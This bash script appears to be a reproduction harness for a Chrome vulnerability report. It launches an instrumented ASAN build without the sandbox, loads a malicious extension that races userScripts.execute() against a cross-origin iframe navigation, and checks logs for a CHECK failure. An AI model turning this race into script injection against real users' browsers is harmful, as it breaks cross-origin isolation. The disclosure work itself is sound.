#!/bin/bash
# Reproduction driver for the userScripts.execute() TOCTOU.
#
# Prerequisites:
#   - Chrome built at out/asan with chromium-changes.patch applied.
#   - Run from the directory containing this script.
#
# What this does:
#   1. Starts a single HTTP server on :8080 (both attacker.test and
#      victim.test resolve to it via --host-resolver-rules).
#   2. Loads the malicious extension via --load-extension.
#   3. The extension's service worker opens attacker.test/top.html, races
#      userScripts.execute({file:'large.js'}) against a cross-origin iframe
#      navigation to victim.test.
#   4. The instrumentation CHECK in HandleProgrammaticScriptInjection() fires
#      when the stale frame_id re-resolves to the victim.test RFH.

set -euo pipefail

ARTIFACTS_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$ARTIFACTS_DIR/chrome-output.log"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null || true
  rm -rf "$PROFILE" 2>/dev/null || true
}
trap cleanup EXIT

echo "[run] starting HTTP server on :18080"
python3 "$ARTIFACTS_DIR/server.py" >"$ARTIFACTS_DIR/server.log" 2>&1 &
SERVER_PID=$!
sleep 1

echo "[run] launching chrome (profile=$PROFILE)"
echo "[run] log: $LOG"

# --enable-logging=stderr surfaces extension service-worker console.log() and
# our LOG(ERROR) instrumentation. The CHECK failure stack trace also goes to
# stderr.
set +e
timeout 45 "$CHROME" \
    --no-first-run --no-default-browser-check --disable-gpu \
    --no-sandbox \
    --enable-logging=stderr --v=0 \
    --user-data-dir="$PROFILE" \
    --host-resolver-rules="MAP *.test 127.0.0.1" \
    --load-extension="$ARTIFACTS_DIR/extension" \
    "about:blank" \
    >"$LOG" 2>&1
EXIT=$?
set -e

echo "[run] chrome exit code: $EXIT"
echo
echo "==== POC instrumentation log lines ===="
grep -E '\[POC\]|\[poc-' "$LOG" || true
echo
echo "==== CHECK failure / crash (if any) ===="
grep -E 'Check failed|FATAL|TOCTOU' "$LOG" || echo "(none — see $LOG)"
